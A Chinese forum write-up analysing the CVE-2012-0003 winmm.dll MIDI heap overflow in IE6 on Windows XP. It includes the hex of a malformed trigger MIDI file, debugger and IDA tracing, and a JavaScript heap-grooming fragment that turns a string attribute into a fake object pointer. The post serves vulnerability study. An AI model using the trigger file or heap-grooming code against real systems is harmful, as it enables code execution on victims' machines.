首页
社区
课程
招聘
[原创]CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用
2021-9-13 18:30 17521

[原创]CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用

2021-9-13 18:30
17521

1. 前言

这次分析了CVE-2012-0003 MIDI文件中存在的堆溢出漏洞,此次分析结合了《漏洞战争》以及VUPEN发布的关于该漏洞的介绍中的内容,从原理及利用两个角度对该漏洞进行了分析。

 

文章一开始对MIDI文件的结构进行了简单的介绍,之后根据IDA得到的伪代码,利用书中介绍的导图推算的方法确定了漏洞产生的原因。最后的漏洞利用部分花费了一些功夫,因为VUPEN中缺少具体细节,使用的利用代码并没有成功进行漏洞利用,书中也没有提到相关问题,所以文章中也涉及到我是如何对代码进行的修改,并分析了产生问题的原因。

2. MIDI文件结构

2.1 基本文件组成

MIDI文件是由块(chunk)组成的,每个块开头有4字节type信息及4字节length信息,length信息中表示的是该块之后的数据长度,即整个块的长度为length+8字节。

 

块分为两个类型:header chunk和track chunk,其基本组成如下图所示:

 

图片描述

 

其中Delta-time+event表示一个MTrk event,它的个数不定,长度不定,所以画成了图中这样参差不齐的形式。

2.2 其他结构

下面一个小节会根据具体文件来分析MIDI文件组成,这里先给出会涉及到的其他概念:

2.2.1 Variable Length Quantity

这种类型的数据信息用每个字节中的低七个比特表示,最高位为先。所有字节中,除最后一个字节外,其余字节的最高比特位置1,最后一个字节的最高比特位置0。由此确定该可变长度数据的终止位置。

2.2.2 meta event

在track trunk中,event又分为MIDI event、sysex event和meta-event。其中meta-event的结构如下:

 

图片描述

 

它以0xFF开头,接下来是一个字节的type信息,之后的length信息是variable length quantity,然后根据length信息填入对应长度的bytes信息。

 

几个涉及到的type信息:

  1. 0xFF 03: 在format 0及format 1的第一个track中,表示sequence的名称,其他情况下表示track的名称。
  2. 0xFF 2F: 标志track的结尾

2.2.3 MIDI event

MIDI event(MIDI message)通常由1字节的状态码以及1~2个字节的数据信息组成:

 

图片描述

 

在下面的实例分析中,主要涉及到的是Channel Message,涉及到的状态码为0x990x9F0xB90xC9,其中的9F表示是第九个channel。这里对这两个状态码做一下解释:

  1. 0x990x9F: 表示音符开始(note on)。后面跟两个字节,最高比特位都是0,分别表示音符编号及速度。
  2. 0xB9: 表示控制器(controller)的数值发生了变化。后面跟两个字节,最高比特位都是0,分别表示控制器编号及新的数值;
  3. 0xC9: 表示配音号(patch number)发生了变化。后面跟一个字节,最高比特位为0,表示新的数值。

2.3 实例分析

接下来根据书中提供的test_case.mid文件,实例讲解MIDI文件构成。test_case.mid内容如下:

1
2
3
4
5
4D 54 68 64 00 00 00 06 00 00 00 01 00 60 4D 54
72 6B 00 00 00 35 00 FF 03 0D 44 72 75 6D 73 20
20 20 28 42 42 29 00 00 C9 28 00 B9 07 64 00 B9
0A 40 00 B9 7B 00 00 B9 5B 28 00 B9 5D 00 85 50
99 23 7F 00 9F B2 73 00 FF 2F 00

按照2.1中给出的结构分解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
4D 54 68 64  // MThd 四字节的type信息,表示这是一个header trunk
00 00 00 06  // 四字节length信息,表示该header trunk后面的长度是6字节
00 00        // Format = 0, 表示文件只包含一个multi-channel track
00 01        // num of tracks = 1,和format = 0相对应
00 60        // 对delta-times的解释,第15位为0,所以后面0x60表示ticks per quarter-note,是个音乐概念,不太懂
4D 54 72 6B  // MTrk 四字节的type信息,表示这是一个track trunk
00 00 00 35  // 四字节length信息,表示该track trunk后面的长度是53字节
00           // delta-time, 这块数据采用的是variable length quantity
FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 // meta-event,sequence的名字:Drums   (BB)
00 C9 28     // 新的program数值为40
00 B9 07 64  // 音量变化
00 B9 0A 40  // Pan?? 不知道是什么
00 B9 7B 00  // 所有音符结束
00 B9 5B 28  // 效果1深度
00 B9 5D 00  // 效果3深度
85 50 99 23 7F // 0x23号音符开始
00 9F B2 73  // 0xB2号音符开始,注意这里B2的最高比特位是1,是不合法的
00 FF 2F 00  // track结束

对于MIDI文件格式的理解就到这里,并没有覆盖的所有的信息,更多内容可以看参考资料1。除此之外,很多专业名词的解释我也不太清楚,但是对于漏洞分析本身没什么影响。

3. 漏洞调试

环境:Win XP SP3

 

IE:6.0.2900

3.1 一开始的尝试

接下来正式开始对漏洞进行分析调试,由于这是一个堆溢出漏洞,所以在调试之前先为IE开启页堆。

1
2
3
C:\Documents and Settings\test>"C:\Program Files\Debugging Tools for Windows\gflags.exe" -i IExplore.exe +hpa
Current Registry Settings for IExplore.exe executable are: 02000000
    hpa - Enable page heap

打开cve-2012-0003-ie6.htm文件,使用windbg附加,F5继续执行,然后在IE上允许脚本运行,程序中断:

1
2
3
4
5
6
7
8
(920.36c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=2797f019 edi=2797cf60
eip=76b5d224 esp=2829fe80 ebp=2829fea0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06            mov     al,byte ptr [esi]          ds:0023:2797f019=??

看一下堆栈信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:010> !heap -p -a 2797f019
    address 2797f019 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                276eaaf8:         2797ec00              400 -         2797e000             2000
    7c918f01 ntdll!RtlAllocateHeap+0x00000e64
    76b5b2b3 WINMM!winmmAlloc+0x00000016
    76b5cdee WINMM!mseOpen+0x00000044
    76b5d97e WINMM!mseMessage+0x00000029
    76b5a17f WINMM!midiStreamOpen+0x00000207
    77bd1f7c midimap!modOpen+0x000000f8
    77bd29f3 midimap!modMessage+0x0000005e
    76b5a15e WINMM!midiStreamOpen+0x000001e6
    748d56e9 quartz!CMidiOutDevice::DoOpen+0x00000026
    748d5793 quartz!CMidiOutDevice::amsndOutOpen+0x00000059
    7484bc64 quartz!CWaveOutFilter::amsndOutOpen+0x0000002e
    7484bbef quartz!CWaveOutFilter::DoOpenWaveDevice+0x0000007a
    7484bdfc quartz!CWaveOutFilter::OpenWaveDevice+0x00000019
    7484bcc4 quartz!CWaveOutFilter::Pause+0x00000049
    7482cf69 quartz!CFilterGraph::Pause+0x00000107
    7482ce93 quartz!CFGControl::Cue+0x00000032

可以看到这个堆块的起始地址为0x2797ec00,大小为0x4000x2797f019已经超过了这个堆块允许的最大地址范围0x2797f000,所以触发了异常。

 

再看一下函数调用情况:

1
2
3
4
5
6
7
8
0:010> kb
ChildEBP RetAddr  Args to Child             
2829fea0 76b5d2e5 b2ceead0 76b5d296 00000010 WINMM!midiOutPlayNextPolyEvent+0x1ec
2829feb4 76b454e3 00000010 00000000 00000e7c WINMM!midiOutTimerTick+0x4f
2829fedc 76b5adfe 76b5d296 00000003 00000010 WINMM!DriverCallback+0x5c
2829ff18 76b5af02 00000010 015f0000 00000000 WINMM!TimerCompletion+0xf4
2829ffb4 7c80b713 00000000 015f0000 015f0000 WINMM!timeThread+0x53
2829ffec 00000000 76b5aeaf 00000000 00000000 kernel32!BaseThreadStart+0x37

所以目前想要确定的应该是0x2797f019这个地址是怎么得到的。找到WINMM.dll这个文件并在IDA中打开,找到midiOutPlayNextPolyEvent这个函数。

1
2
3
4
5
6
0:010> lm vm WINMM
start    end        module name
76b40000 76b6d000   WINMM      (pdb symbols)          E:\symbols\dll\winmm.pdb
    Loaded symbol image file: C:\WINDOWS\system32\WINMM.dll
    Image path: C:\WINDOWS\system32\WINMM.dll
...

异常发生位置处的代码为:

1
2
v20 = (char *)(v19 + v16);
v21 = *v20;                               // 异常发生位置

其中的v19和v16的来源:

1
2
v16 = *(_DWORD *)(wParam + 0x84);
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;

其中wParam就是该函数的参数,但是根据函数调用情况中得到的参数b2ceeb54查看内存内容,发现全是问号,可能是在执行过程中有修改:

1
2
0:010> dd b2ceeb54 L1
b2ceeb54  ????????

除此之外,如果观察midiOutPlayNextPolyEvent函数的代码,会发现它一直在基于wParam的某个偏移取值,所以现在关键是确定wParam是什么。

 

重新调试(我之前建立了快照),这次在midiOutPlayNextPolyEvent函数这里设置一个断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:007> bu 76B5D038
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=27db4f70 esi=27db4f60 edi=27db4fb8
eip=76b5d038 esp=0013e5b0 ebp=0013e5dc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b5d038 8bff            mov     edi,edi
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=ffffffff ecx=7ffd4000 edx=27db4f70 esi=27db4f60 edi=27db4fb8
eip=76b5d038 esp=2829fea4 ebp=2829fedc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b5d038 8bff            mov     edi,edi

实验的时候发现第一次中断并不是发生异常的那次调用,第二次才是。看一下esp的内容:

1
2
0:010> dd esp l4
2829fea4  76b5d2e5 27db4f60 76b5d296 00000010

此时还没有进行栈帧的分配,所以wParam的值为27db4f60,看一下这里的内容:

1
2
3
4
5
6
7
8
9
0:010> db 27db4f60
27db4f60  00 00 00 00 b8 cf da 27-80 00 00 00 00 00 00 00  .......'........
27db4f70  e0 6f 5b 04 00 00 00 00-01 00 00 00 b8 06 00 00  .o[.............
27db4f80  00 00 00 00 00 00 00 00-34 12 34 12 60 00 00 00  ........4.4.`...
27db4f90  20 a1 07 00 00 00 00 00-00 00 00 00 c0 af de 27   ..............'
27db4fa0  c0 af de 27 a4 9e b5 76-00 00 03 00 00 00 00 00  ...'...v........
27db4fb0  00 00 00 00 b9 00 00 00-00 00 00 00 00 00 00 00  ................
27db4fc0  a4 11 a6 02 00 77 01 00-20 a1 07 00 02 00 00 00  .....w.. .......
27db4fd0  9d cd b5 76 d0 02 00 00-00 00 00 00 00 00 00 00  ...v............

老实讲看不出什么来.所以还是要继续往下单步调试,查看一下数据来源。

 

但是调试之前,要先对IDA中的代码进行一些简单的分析。

3.2 关于”导图推算“

在《漏洞战争》中提到了”导图推算“的分析方法,由于在midiOutPlayNextPolyEvent函数中可以很清晰的看到它在一直在基于wParam的某个偏移取值,并进行一些比较判断和数值运算,而最终我们关注的异常发生位置的变量取值也是在此基础上不断进行数值传递得到的。因此可以根据IDA中得到的代码,整理出该取值的数值传递流程,然后在调试器中设置多个断点,将各相关变量的取值变化打印出来。

 

如果不参考书中的方法,我应该也能想到去查看伪代码,但是可能不会像书中一样完整的整理出来,而是会选择在逐步调试的过程中进行确定。

 

对IDA生成的伪代码进行精简,专注于最终异常发生位置代码v21 = *v20;中变量的传递流程,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __stdcall midiOutPlayNextPolyEvent(WPARAM wParam) {
  if ( !*(wParam + 0x34) ) {
    while ( 1 ) {
      while ( 1 ) {
        v2 = *(wParam + 0x3C);
        if ( !v2 )
          return;
        if ( midiOutScheduleNextEvent(wParam) )
          break;
        midiOutDequeueAndCallback(wParam);
      }
      ...
      v2[9] += 4;
      v7 = v2[9];
      ...
      v7 += 4;
      ...
      v8 = *(v7 + wParama);
      ...
      v10 = v8 & 0xFFFFFF;
      ...
      v16 = *(wParam + 0x84);
      ...
    }
    v17 = v10;
    if ( (v10 & 0x80u) != 0 ) {
      wParam_3a = BYTE1(v10);
      ...
    } else {
      v17 = *(wParam + 0x54);
             wParam_3a = v10;
      ...
    }
    v33 = v17 & 0xF0;
    if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 ) {
      v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
      if...
      v20 = (v19 + v16);
      v21 = *v20;                               // 异常发生位置
      v22 = *v20;
      if...
    }
    ...
  }
}

画出对应的流程图:

 

图片描述

 

再整理出这几个关键变量的赋值位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:76B5D041 8B 7D 08                      mov     edi, [ebp+wParam]   // wParam
.text:76B5D050 8B 77 3C                      mov     esi, [edi+3Ch]      // v2
.text:76B5D09D 83 C3 04                      add     ebx, 4              // v7
.text:76B5D0B5 8B 0C 03                      mov     ecx, [ebx+eax]      // v8
.text:76B5D0C3 81 E1 FF FF FF 00             and     ecx, 0FFFFFFh       // v10
 
.text:76B5D1C7 8A C1                         mov     al, cl              // v17=v10
.text:76B5D1CD 8A 47 54                      mov     al, [edi+54h]       // v17
 
.text:76B5D1EB 88 55 0B                      mov     byte ptr [ebp+wParam+3], dl  // wParam_3a
.text:76B5D1D0 88 4D 0B                      mov     byte ptr [ebp+wParam+3], cl  // wParam_3a
 
.text:76B5D212 D1 F8                         sar     eax, 1   // v19
.text:76B5D1B9 8B B7 84 00 00 00             mov     esi, [edi+84h// v16
.text:76B5D21E 03 F0                         add     esi, eax  // v20

但是有一个问题需要注意,部分指令不能直接在上述位置设置断点,而是应该在下一句指令处设置断点,获得赋值后的数值。

 

继续做整理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
断点        输出     变量
76B5D044    edi    wParam
76B5D053    esi    v2
76B5D0A0    ebx    v7
76B5D0B8    ecx    v8
76B5D0C9    ecx    v10
 
76B5D1C9    al     v17
76B5D1D0    al     v17
 
76B5D1EB    dl     wParam_3a
76B5D1D0    cl     wParam_3a
 
76B5D214    eax    v19
76B5D1BF    esi    v16
76B5D220    esi    v20

还是让程序中断在midiOutPlayNextPolyEvent函数的起始位置,设置好断点之后继续执行,每次都会中断在函数开头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(920.ffc): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c90120e esp=044affcc ebp=044afff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:007> bu 76B5D038
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=27db4f70 esi=27db4f60 edi=27db4fb8
eip=76b5d038 esp=0013e5b0 ebp=0013e5dc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b5d038 8bff            mov     edi,edi
0:000> bp 76B5D044 ".echo 'wParam';r edi;g;"
0:000> bp 76B5D053 ".echo 'v2';r esi;g;"
0:000> bp 76B5D0A0 ".echo 'v7';r ebx;g;"
0:000> bp 76B5D0B8 ".echo 'v8';r ecx;g;"
0:000> bp 76B5D0C9 ".echo 'v10';r ecx;g;"
0:000> bp 76B5D1C9 ".echo 'v17';r al;g;"  
0:000> bp 76B5D1D0 ".echo 'v17';r al;.echo 'wParam_3a';r cl;g;"
0:000> bp 76B5D1EB ".echo 'wParam_3a';r dl;g;"
0:000> bp 76B5D214 ".echo 'v19';r eax;g;"
0:000> bp 76B5D1BF ".echo 'v16';r esi;g;"
0:000> bp 76B5D220 ".echo 'v20';r esi;g;"
0:000> g

原始输出比较乱,整理成表格之后得到:

 

图片描述

3.3 数值与异常分析

首先吸引我注意力的就是V17,很明显这里保存的是状态码,而WParam_3a中保存的是状态码的下一个字节数据。所以说这个函数在循环处理文件中的不同event的信息,在处理到最后一个event,即00 9F B2 73 // 0xB2号音符开始的时候,出现了异常。

 

除此之外,可以发现:

  1. V16的值在两次函数调用的过程中都没有发生变化;
  2. V2的值在每次函数调用的过程中不会发生变化;
  3. V7以每次0xC在递增;
  4. V8V10的数值相同,且低两位分别对应于V17WParam_3a的值;
  5. 在第一次函数调用时,函数并不会执行到处理v19v20的代码处。

    从IDA的伪代码也可以看出来,在处理这两个变量之前,程序会进行一次判断:

    1
    2
    3
    4
    5
    if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 )
      if ( v33 == (char)0x80 || !(_BYTE)v18 ) {
            // 这里执行一些操作,然后直接跳出了上层循环
        }
        // 异常发生在这里

    也就是说,异常发生在函数处理8x或者9x的状态码的时候。

再次回顾,发生异常的数值V20的计算公式是:

1
v20 = (char *)(v19 + v16);

根据上面的分析,V16是一个基地址,而偏移地址V19的计算公式是:

1
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;

其中wParam_3a是音符编号,最高比特位是0V17是状态码,一定以9开头。

 

要想实现堆溢出,一定要让V19的值尽可能的大。按照MIDI的格式规范,wParam_3a包含7比特有效数据,最大值为0x7F,但是这里为了实现溢出,选择了0xB2。而为了通过判断条件,V17可变数据只占用四个比特,最大值为0x9F。这里就选择了这个最大值。

 

再具体看一下0xB2这个值的选取,基地址V16的值是27db6c00,该地址信息:

1
2
3
4
5
6
7
8
9
10
11
0:010> !heap -p -a 27db6c00
    address 27db6c00 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                277ca4b8:         27db6c00              400 -         27db6000             2000
    7c918f01 ntdll!RtlAllocateHeap+0x00000e64
    76b5b2b3 WINMM!winmmAlloc+0x00000016
    76b5cdee WINMM!mseOpen+0x00000044
    76b5d97e WINMM!mseMessage+0x00000029
    76b5a17f WINMM!midiStreamOpen+0x00000207
...

所以这是一个大小为0x400的堆块,所以偏移只有超过0x400才会发生堆溢出。

 

V17取最大值0x9F的时候,((v17 & 0xF) << 7)计算结果为0x780,因此wParam_3a的值至少要到0x80才会发生堆溢出。也就是说对于合法的MIDI文件来说(即最高比特位为0),此处代码不会发生堆溢出。

 

可以实验一下,把测试用的文件中0xB2修改成0x80,重新打开cve-2012-0003-ie6.htm,同样发生了异常:

1
2
3
4
5
6
7
8
9
10
11
12
13
(b30.8d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000400 ebx=00000073 ecx=0073809f edx=00000000 esi=27c61000 edi=04ad4f60
eip=76b5d224 esp=27f5fe80 ebp=27f5fea0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06            mov     al,byte ptr [esi]          ds:0023:27c61000=??
0:010> !heap -p -a 27c61000
    address 27c61000 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                272ddec8:         27c60c00              400 -         27c60000             2000

之后把这个值修改成0x7F,没有发生异常。

 

还有一个小问题,我们在调试器里查看这个堆块的大小是0x400,但是这个大小是怎么得到的呢?是硬编码的大小吗?

 

从上面的输出信息中可以看出这个堆块是在WINMM!mseOpen函数中调用winmmAlloc函数生成的,我们在IDA中找到这个函数,可以看到:

1
2
.text:76B5CDE4 68 00 04 00 00                push    400h            ; dwBytes
.text:76B5CDE9 E8 AF E4 FF FF                call    _winmmAlloc@4   ; winmmAlloc(x)

堆块大小确实是硬编码到程序中的,所以一旦偏移超过,就会发生堆溢出。

4. 漏洞利用

4.1 漏洞能做些什么

在分析怎样利用该漏洞时,先确定一下这个漏洞能够做些什么,重新看一下IDA中,异常发生位置之后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
  v21 = *v20;                               // 异常发生位置
  v22 = *v20;
  if ( (wParam_3a & 1) != 0 ) {
    if ( (v22 & 0xF0) != 0xF0 ) {
      v23 = v21 + 0x10;
LABEL_39:
      *v20 = v23;
      goto LABEL_46;
    }
  } else if ( (v22 & 0xF) != 0xF ) {
    v23 = v21 + 1;
    goto LABEL_39;
  }

注意到代码*v20 = v23;,这句代码会对溢出位置执行写入操作,所以一定要执行到这里,也就是说:

1
2
3
4
5
6
if ( (wParam_3a & 1) != 0 )    // 判断失败
else if ( (v22 & 0xF) != 0xF ) // 判断成功,执行
        v23 = v21 + 1;
    goto LABEL_39;
//跳转进行写操作:
  *v20 = v23;

其中的v21v22都是读取溢出位置得到的数值。

 

综上,wParam_3a要是偶数,且溢出位置数值低四位不能全是1,如果满足以上条件,漏洞可以对溢出位置实现增1操作。

 

wParam_3a不是偶数的条件很好做到,需要注意的就是溢出位置数值低四位的问题。

4.2 先验知识

可以使用IE加载存在漏洞的MIDI文件,而IE的mshtml.dll和MIDI的winmm.dll中,用于分配堆块的堆空间都来自于GetProcessHeap函数。两者使用同一个堆空间,因此有机会在IE中实现该漏洞的利用。

 

进一步的解释,在mshtml.dll的_DllMainStartup函数(入口点函数)中:

1
2
3
.text:7DD18E62 FF 15 14 13 C3 7D             call    ds:__imp__GetProcessHeap@0 ; GetProcessHeap()
.text:7DD18E68 FF 75 10                      push    [ebp+lpReserved]
.text:7DD18E6B A3 84 5B ED 7D                mov     _g_hProcessHeap, eax

该函数的定义:

Retrieves a handle to the default heap of the calling process

 

而winmm.dll中的__DllInstanceInit函数中调用了_DllProcessAttach

1
2
3
4
.text:76B43F8F 64 A1 18 00 00 00       mov     eax, large fs:18h   // TEB
.text:76B43F95 8B 40 30                mov     eax, [eax+30h]      // 对应的PEB
.text:76B43F98 8B 40 18                mov     eax, [eax+18h]      // ProcessHeap
.text:76B43F9B A3 C8 00 B6 76          mov     _hHeap, eax

转成伪代码:

1
hHeap = NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap;

因此当IE加载MIDI文件的时候,两者使用的是同一个堆空间,即进程的默认堆。

4.3 漏洞利用原理与代码修复

现在已知的是产生漏洞的堆空间大小为0x400,但由于漏洞的存在,导致程序可以对超出该堆空间的内存位置进行增1的操作。如果想要进行漏洞利用,首先应该能够做到分配一个同样大小的堆空间。根据参考资料2,在进行元素的复制的时候,有可能会分配到合适的空间大小。而cve-2012-0003-ie6.html这个文件中的漏洞代码中可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
...
selob.w62 = alert
selob.w63 = alert
 
    var clones=new Array(1000);
 
    function feng_shui() {
 
        var i = 0;
        while (i < 1000) {
            clones[i] = selob.cloneNode(true)
            i = i + 1;
        }
 
        var j = 0;
        while (j < 1000) {
            delete clones[j];
            CollectGarbage();
            = j + 2;
        }
 
    }
 
    feng_shui();
 
                function trigger(){
        var k = 999;
        while (k > 0) {
            if (typeof(clones[k].w1) == "string") {
            } else {
                clones[k].w1('come on!');
            }
            k = k - 2;
        }
        feng_shui();
        document.audio.Play();
    }

代码创建了一个包含64个属性的select元素selob,然后创建了一个1000大小的数组clones,并将selob循环赋值到数组clones中,再对偶数位置上的空间进行了释放。这样的一系列操作可以形成空闲块、占用块相互间隔的堆空间结构。但是具体的细节还不清晰。

 

如果在Windbg中搜索和数组复制相关的函数,可以得到:

1
2
0:000> x mshtml!*Array*Clone
7ddae7a5 mshtml!CAttrArray::Clone = <no type information>

如果在该函数上设置断点,程序也会多次中断在这里,说明代码在赋值selob元素的时候,确实调用了这个函数。在IDA中看一下这个函数的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __thiscall CAttrArray::Clone(CAttrArray *this, struct CAttrArray **a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  v19 = 0;
  v3 = (CAttrArray *)_MemAlloc(0xCu);
  if ( v3 )
    v4 = CAttrArray::CAttrArray(v3);
  else
    v4 = 0;
  *a2 = v4;
  if...
  v17 = CImplAry::EnsureSize(v4, 0x10u, *(_DWORD *)this >> 2);
  if...
  v8 = (struct CAttrArray **)*((_DWORD *)*a2 + 1);
  v18 = 0;
  v16 = 0;
  v9 = *((_DWORD *)this + 1);
  v20 = v8;
  if ( *(_DWORD *)this >> 2 )
  {
    while ( 1 )
    {
      if ( *(_BYTE *)v9 != 3 || v19 )
      {
        v15 = *(_DWORD *)(v9 + 4);
        if ( v15 != 0x800103ED )
        {
          *((_BYTE *)v8 + 1) = 0;
          v17 = CAttrValue::Copy((CAttrValue *)v8, (const struct CAttrValue *)v9);
...

可以看到一个_MemAlloc的函数调用,但是这里只分配了0xC的空间,在往下看,有一个CImplAry::EnsureSize的调用,这个函数也很有意思,里面会进行一个空间分配:

1
2
a3 = UIntMult(v6, v5, &dwBytes);  // 这里在对传入的两个参数相乘,结果保存在dwBytes中
v13 = _MemAlloc(dwBytes);         // 然后分配了dwBytes大小的空间

在Windbg中看一下调用到这个函数时的情况:

1
2
3
4
5
6
7
8
0:000> p
eax=034add90 ebx=034adcac ecx=034add90 edx=00000042 esi=034abc10 edi=00000000
eip=7ddae7ff esp=0013de68 ebp=0013de90 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CAttrArray::Clone+0x5a:
7ddae7ff e8acb8eeff      call    mshtml!CImplAry::EnsureSize (7dc9a0b0)
0:000> dd esp l3
0013de68  00000010 00000042 00000000

也就是说这个函数会分配0x42*0x10大小的空间。我看到这个数值的时候就觉得可能会和代码中属性的个数有关,参考资料2中也说EnsureSize会根据属性的个数来分配空间,但是资料中说如果属性有64个的话,那应该分配的就是0x40*0x10的空间,但是我这里看到的却是0x42。目前还不清楚是资料中有一些细节没有提到,还是环境导致的,先继续往下看。

 

如果按照资料中所说,最后分配了0x400的空间,那么在进行了偶数位置空间的释放之后,每个空闲的0x400大小的堆块后面都会有一个0x400大小的由我们控制的堆块空间,这样一来,漏洞代码申请的0x400大小的空间后面就是我们控制的数据了,接下来需要做的是让增1操作发生的时候,能够引发虚函数指针的泄露,从而控制程序的执行流程。

 

先来观察一下这个我们控制的0x400大小的堆块数据中是什么内容,因为EnsureSize调用之后,会使用CAttrValue::Copy函数对数据进行复制,在Copy这个函数中,数据的复制操作是这样实现的:

1
2
3
4
5
6
7
8
9
mov     esi, ecx      
call    ?Free@CAttrValue@@QAEXXZ ; CAttrValue::Free(void)
mov     ecx, [ebp+arg_0] ; this
mov     eax, [ecx+8]
mov     [esi+8], eax
mov     eax, [ecx+4]
mov     [esi+4], eax
mov     eax, [ecx]
mov     [esi], eax

可以看到数据从第一个参数的位置复制到了ecx所指向的位置,所以可以直接检查调用Copy之前,第一个参数所指向的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> g
Breakpoint 1 hit
eax=002dc6c1 ebx=034adcac ecx=040b0b80 edx=7c90e4f4 esi=034abc10 edi=03942ba0
eip=7ddae84c esp=0013de6c ebp=0013de90 iopl=0         ov up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a97
mshtml!CAttrArray::Clone+0xa8:
7ddae84c e829f9ffff      call    mshtml!CAttrValue::Copy (7ddae17a)
0:000> dd esp l1
0013de6c  03942ba0
0:000> db 3942ba0
03942ba0  02 09 00 00 c1 c6 2d 00-00 00 00 00 20 bb 4a 03  ......-..... .J.
03942bb0  02 08 00 00 c2 c6 2d 00-00 00 00 00 e4 8f 44 03  ......-.......D.
03942bc0  02 09 00 00 c3 c6 2d 00-00 00 00 00 60 bc 4a 03  ......-.....`.J.
03942bd0  02 09 00 00 c4 c6 2d 00-00 00 00 00 d0 bc 4a 03  ......-.......J.
03942be0  02 09 00 00 c5 c6 2d 00-00 00 00 00 50 bd 4a 03  ......-.....P.J.
03942bf0  02 09 00 00 c6 c6 2d 00-00 00 00 00 e0 bd 4a 03  ......-.......J.
03942c00  02 09 00 00 c7 c6 2d 00-00 00 00 00 80 be 4a 03  ......-.......J.
03942c10  02 09 00 00 c8 c6 2d 00-00 00 00 00 30 bf 4a 03  ......-.....0.J.

根据参考资料2,3942ba0处的数据,第二列表示的就是属性的不同类型,其中0x09表示表示object0x08表示string,这也和selob中对于属性的设置相符:

1
2
3
4
5
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
...

注意到object类型和string类型代表的数值之间相差了1,如果利用漏洞造成的增1操作,就有可能把原本的string类型修改为object类型,从而导致原本的字符串内容当作虚表指针被引用,这也是这次漏洞利用的原理。

 

再检查一下目标地址的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
0:000> !heap -p -a ecx
    address 040b0b80 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 288be00:          40b0b80              480 -          40b0000             2000
    7c918f01 ntdll!RtlAllocateHeap+0x00000e64
    7dc9c980 mshtml!_MemAlloc+0x00000065
    7dc9aa9b mshtml!_MemRealloc+0x00000037
    7dc9c9a5 mshtml!CImplAry::EnsureSize+0x000000f9
    7ddae804 mshtml!CAttrArray::Clone+0x0000005f
    7dd89b16 mshtml!CElement::Clone+0x00000140
    7ddc33ef mshtml!CElement::cloneNode+0x00000158
...

可以看到确实是在EnsureSize中分配的空间,但是大小有0x480,和一开始期待的0x400并不相同。

 

